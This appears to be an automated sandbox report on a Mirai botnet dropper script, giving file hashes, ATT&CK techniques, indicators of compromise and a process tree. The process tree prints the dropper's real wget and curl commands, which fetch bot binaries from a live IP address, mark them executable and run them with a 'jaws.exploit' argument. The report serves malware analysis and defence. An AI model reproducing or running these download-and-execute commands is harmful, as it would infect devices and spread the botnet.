mirai | c75f373ac98a4360a0a0d059d75737d1850f3928b247ceb4ead1946dbc54f672

Analysis

max time kernel
96s
max time network
148s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
17-10-2024 07:03

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General

Target

na.sh
Size

4KB
MD5

c885d2a5cc2f6b3f6887add42fe6b22a
SHA1

d479bc74cc9f65e4b973f38ee39abcc7e824f353
SHA256

c75f373ac98a4360a0a0d059d75737d1850f3928b247ceb4ead1946dbc54f672
SHA512

463de202d0f31248330e7f4838febc69f7c0a379de7e921ce000ea96fab035c7c5a3aeb9962e42604291b0de16ad5fc26b5bea33d868cb1fe962c439c1f9a3b1
SSDEEP

96:vNVjGNw4DNx/KNN7+NdMdEpFpNn9ENUsnN2mVNRfaN3tMNueFNySBNGWNNPln:OO4F8

Score

10^/10

mirai unstable botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

UNSTABLE

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Contacts a large (138001) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
739	chmod
745	chmod
765	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/load.sh	740	load.sh
/tmp/load.sh	746	load.sh
/tmp/load.sh	766	load.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	load.sh
File opened for modification	/dev/misc/watchdog	load.sh

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	load.sh
File opened for modification	/bin/watchdog	load.sh

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/fstream-1.dat	upx
behavioral3/files/fstream-4.dat	upx
behavioral3/files/fstream-5.dat	upx

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	a	746	load.sh

Reads runtime system information 36 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/755/cmdline	load.sh
File opened for reading	/proc/764/cmdline	load.sh
File opened for reading	/proc/789/cmdline	load.sh
File opened for reading	/proc/813/cmdline	load.sh
File opened for reading	/proc/676/cmdline	load.sh
File opened for reading	/proc/686/cmdline	load.sh
File opened for reading	/proc/705/cmdline	load.sh
File opened for reading	/proc/707/cmdline	load.sh
File opened for reading	/proc/666/cmdline	load.sh
File opened for reading	/proc/735/cmdline	load.sh
File opened for reading	/proc/796/cmdline	load.sh
File opened for reading	/proc/833/cmdline	load.sh
File opened for reading	/proc/752/cmdline	load.sh
File opened for reading	/proc/792/cmdline	load.sh
File opened for reading	/proc/self/exe	load.sh
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/675/cmdline	load.sh
File opened for reading	/proc/699/cmdline	load.sh
File opened for reading	/proc/706/cmdline	load.sh
File opened for reading	/proc/711/cmdline	load.sh
File opened for reading	/proc/750/cmdline	load.sh
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/670/cmdline	load.sh
File opened for reading	/proc/700/cmdline	load.sh
File opened for reading	/proc/712/cmdline	load.sh
File opened for reading	/proc/768/cmdline	load.sh
File opened for reading	/proc/769/cmdline	load.sh
File opened for reading	/proc/793/cmdline	load.sh
File opened for reading	/proc/749/cmdline	load.sh
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/786/cmdline	load.sh
File opened for reading	/proc/804/cmdline	load.sh
File opened for reading	/proc/751/cmdline	load.sh
File opened for reading	/proc/426/cmdline	load.sh
File opened for reading	/proc/704/cmdline	load.sh

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
744	cat
742	wget
743	curl

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.x86	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.mips	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.mips	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.mpsl	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.mpsl	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.x86	curl
File opened for modification	/tmp/load.sh	na.sh
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm	curl

/tmp/na.sh
/tmp/na.sh
1⤵
- Writes file to tmp directory
PID:707
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
  2⤵
  - Writes file to tmp directory
  PID:716
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:730
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.x86
  2⤵
  PID:738
- /bin/chmod
  chmod +x db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh na.sh systemd-private-ab52f9cf623548418d83c40d2a804d62-systemd-timedated.service-ZGzDsR
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/load.sh
  ./load.sh jaws.exploit
  2⤵
  - Executes dropped EXE
  PID:740
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:742
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:743
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.mips
  2⤵
  - System Network Configuration Discovery
  PID:744
- /bin/chmod
  chmod +x db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh na.sh systemd-private-ab52f9cf623548418d83c40d2a804d62-systemd-timedated.service-ZGzDsR
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/load.sh
  ./load.sh jaws.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Changes its process name
  - Reads runtime system information
  PID:746
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
  2⤵
  - Writes file to tmp directory
  PID:754
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:755
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.mpsl
  2⤵
  PID:763
- /bin/chmod
  chmod +x db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh na.sh systemd-private-ab52f9cf623548418d83c40d2a804d62-systemd-timedated.service-ZGzDsR
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/load.sh
  ./load.sh jaws.exploit
  2⤵
  - Executes dropped EXE
  PID:766
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
  2⤵
  - Writes file to tmp directory
  PID:768
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:786

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/db0fa4b8db0333367e9bda3ab68b8042.x86

Filesize
33KB

MD5
6d1b6e91b1e2037fbf62ca7ddcf04932

SHA1
d0769095ec2e678074eb206b3537022129c1a776

SHA256
7f307860b88d639313ebd4195f1ef6a8d668d1941c6cbf6dc968961b1fe42782

SHA512
7397ef3b4f7d34b0637de721f38ac833ad6d526e9b7cdbc08fdb4b261fa675001a8079ff4b9378fa219090a945126832cb1ab3db86b35da0090b20051d31bb38

Download Submit
/tmp/load.sh

Filesize
35KB

MD5
fd5d7deebbb62aee931a1701a1042450

SHA1
4adc94ce9de13647815a16d6514b73e109c80785

SHA256
7a36bd7a9d19b6d48807264712141dd0543ffebd9db923a76799ffd687f352c9

SHA512
cb7beeb8d88ad48ac447b69b215738cdf1d706cb88c4945d0a0837c07dfe41a74107f9c4d7fccc5c7e5719ee9a912452ba3c53c360252bd46978f5d27c1b6df4

Download Submit
/tmp/load.sh

Filesize
37KB

MD5
144cc0c6dfb6f6e395065b02825a9ad1

SHA1
dfe5d7d8bef4511b42be1ae0235f7469d97bf789

SHA256
117cd63b79b8c0d3753ac6907206872d6527c2d6a641776c1021302d5dcec2b2

SHA512
9e5ca9ee3ebef09688d74de6bb4af9d6c1003173ee5846cd2370d4774e9bc92fef317113b19529cd2a5b1d18a38a626ebf6ed2da05e6c7b66e0d1b69d8ddc5d5

Download Submit